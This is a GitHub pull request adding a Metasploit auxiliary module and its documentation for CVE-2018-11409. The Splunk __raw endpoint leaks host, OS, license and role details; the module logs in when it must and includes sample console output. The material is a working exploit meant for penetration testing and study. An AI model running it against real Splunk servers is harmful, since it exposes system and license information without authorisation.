Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Module for Splunk CVE 2018-11409 #18635

Merged
merged 5 commits into from
Dec 28, 2023
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
88 changes: 88 additions & 0 deletions documentation/modules/auxiliary/gather/splunk_raw_server_info.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
## Vulnerable Application

Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending
`/__raw/services/server/info/server-info?output_mode=json` to a query.

Versisons 6.6.0 through 7.0.1 require authentication.

### Docker Install

#### Splunk 6.5.5

A vulnerable version of Splunk can be installed locally with docker:

`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5`

#### Splunk 7.1.0

At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart
the service (via website) for the instance to be exploitable. Splunk can be started via docker with:

`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/splunk_raw_server_info`
1. Do: `SET RHOSTS [IP]`
1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information.

## Options

## Scenarios

### Splunk 6.5.5

```
msf6 > use auxiliary/gather/splunk_raw_server_info
msf6 auxiliary(gather/splunk_raw_server_info) > exploit
[*] Running module against 127.0.0.1
[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin
[+] Hostname: 3c7b9beb6c3c
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03)
[+] OS Version: 6.5.0-kali2-amd64
[+] Splunk Version: 6.5.5
[+] Trial Version?: true
[+] Splunk Forwarder?: false
[+] Splunk Product Type: enterprise
[+] License State: EXPIRED
[+] License Key(s): []
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-19 20:56:13
```

### Splunk 7.1.0

```
[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin
username => admin
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk
password => splunksplunk
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true
verbose => true
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1
[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json
[+] Hostname: 523a845e8652
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
[+] OS Version: 6.5.0-kali3-amd64
[+] Splunk Version: 7.1.0
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-21 01:40:02
[*] Auxiliary module execution completed
```
137 changes: 137 additions & 0 deletions modules/auxiliary/gather/splunk_raw_server_info.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Splunk __raw Server Info Disclosure ',
'Description' => %q{
Splunk 6.2.3 through 7.0.1 allows information disclosure by appending
/__raw/services/server/info/server-info?output_mode=json to a query.
Versisons 6.6.0 through 7.0.1 require authentication.
},
'License' => MSF_LICENSE,
'Author' => [
'n00bhaxor', # msf module
'KOF2002', # original PoC
'h00die' # 6.6.0+
],
'References' => [
[ 'EDB', '44865' ],
[ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'],
[ 'CVE', '2018-11409']
],
'DisclosureDate' => '2018-06-08',
'Notes' => {
'Stability' => [],
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', ''])
]
)
end

def authenticate
login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')

res = send_request_cgi({
'method' => 'GET',
'uri' => login_url
})

unless res
fail_with(Failure::Unreachable, 'No response received for authentication request')
end

cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved

unless cval_value
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
end

auth_payload = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'cval' => cval_value,
'set_has_logged_in' => 'false'
}

res = send_request_cgi({
'method' => 'POST',
'uri' => login_url,
'cookie' => res.get_cookies,
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
'vars_post' => auth_payload
})

unless res && res.code == 200
fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
end

print_good('Successfully authenticated on the Splunk instance')
res.get_cookies
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

def get_contents(cookie = nil)
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
request = {
'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'),
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
'vars_get' => {
'output_mode' => 'json'
}
}
request['cookie'] = cookie unless cookie.nil?
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
res = send_request_cgi(request)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
# 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303
res
end

def run
# on 6.2.x-6.5.x this will work as its unauth
res = get_contents
# if we hit 6.6.0 - 7.1.0 we need to auth first
if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}'
print_status('Authentication required, logging in and re-attempting')
res = get_contents(authenticate)
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

begin
j = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Response not JSON parsable')
end
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved

loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json')
print_good("Output saved to #{loot_path}")

print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}")
print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}")
print_good("Operating System: #{j['entry'][0]['content']['os_name']}")
print_good("OS Build: #{j['entry'][0]['content']['os_build']}")
print_good("OS Version: #{j['entry'][0]['content']['os_version']}")
print_good("Splunk Version: #{j['generator']['version']}")
print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}")
print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}")
print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}")
print_good("License State: #{j['entry'][0]['content']['licenseState']}")
print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}")
print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}")
converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S')
print_good("Splunk Server Startup Time: #{converted_time}")
Comment on lines +118 to +131
Copy link
Contributor

@szymonj99 szymonj99 Dec 22, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to use a Rex Table here?

splunk_info_table = ::Rex::Text::Table.new(
      'Header' => 'Splunk Raw Server Info',
      'Indent' => 1,
      'Columns' => ['Hostname', 'CPU Architecture', 'Operating System', 'OS Build', 'OS Version' ...]
    )
    ...
    result = j['entry'][0]['content']
    ...
    splunk_info_table << [ result['host_fqdn'], result['cpu_arch'] ... ]

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

depending on license key length, it may be hard to read if its super long. It could cleanup slightly by putting each entry into a row for the table.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd say my original suggestion can be disregarded then. Thanks! 🚀

end
end